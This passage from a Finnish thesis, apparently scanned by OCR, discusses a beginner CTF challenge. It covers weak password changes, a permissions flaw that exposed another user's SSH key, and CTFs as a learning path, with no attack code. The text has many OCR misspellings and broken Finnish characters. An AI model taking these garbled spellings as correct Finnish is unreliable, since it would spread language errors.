vaivaudu muuttamaan salasanaansa riittavasta vaan vaihtavat esimerkiksi yhden kirjai-
men paikkaa, joka tekee salasanan vaihtamisesta kaytannéssa tehotonta (Microsoft
2018).

Haasteen suorituksen osalta yksi suurimpia ongelmia oli kdyttajien salasanojen lisaksi
niiden oikeudet jarjestelmééan. Haasteessa kayttajalla Jan oli oikeudet lukea toisen kayt-
tajan kotikansiota, joka paljasti kyseessa olevan kayttajan SSH-avaimen. Jarjestelméan
sisdiset oikeudet onkin hyva pitaa tarkkaan mielessa, kun jarjestelmaan tehdaan muu-
toksia. Linuxissa kayttajaoikeuksia hallinnoidaan yleensa sudolla, jolla voidaan helposti
myontaa tai poistaa root tason kayttaja oikeuksia muille kayttgjille. Windowsin puolella
vastaavaa saadelldadn yleensa group policyn kautta, eli periaate on sama, kuin Linuxis-

sakin.
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6 POHDINTA

Tutkimuksen tarkoituksena oli suorittaa CTF-haaste onnistuneesti ja sita kautta analy-
soida keskeisimpia tietoturvakasitteitd, kannustaa kehittamaan itsedén ja rohkaista suo-
rittamaan vaikeampia haasteita. Haasteen kautta oli helppo havainnollistaa tietoturva-
testaamisen keskeisia asioita niin, etta aloittelijakin pystyy ne ymmartamaan. Vaikka
haaste olikin helpoimmasta paasta, 16ytyi siitdkin ongelmakohtia, jotka tekivat siitéd hyvan

esimerkin CTF-haasteesta ja sai opettelemaan uusia asioita.

Joissakin haasteen kohdissa oli turvauduttava haasteen suorittamiseen tarkoitettuihin
ohjeisiin. Téallaisia kohtia oli onneksi vain muutamia, mutta ne olivat sitékin kriittisempia
haasteen suorittamisen kannalta. Ne ilmenivat suurimmaksi osaksi kohdissa, joissa edes

ohjeissa mainittu tapa edeta haasteessa ei toiminut.

Tutkimusta voidaan kayttaa tiennayttajana tuleville haasteille, joiden tarkoituksena on
opettaa suorittajalleen tydssa teoriatasolla lapikaytyja hydkkaystekniikoita ja niiltd suo-
jautumista. Nama haasteet toimivat myds hyvin innovaationa uusille tietoturva-alan
osadjille ja pyrkivat kannustamaan uusien haasteiden tekemiseen. Niiden kautta on
myoOs helpompaa paasta sisaan tietoturvan maailmaan, silla yksinkertaisimmillaan ne
tarjoavat matalan kynnyksen aloittaa tietoturvaharrastus siita kiinnostuneille. Opinnayte-
tyota voisi parhaiten jatkaa toisenlaisella haasteella, jossa kasiteltdisiin haastavampaa

skenaariota.
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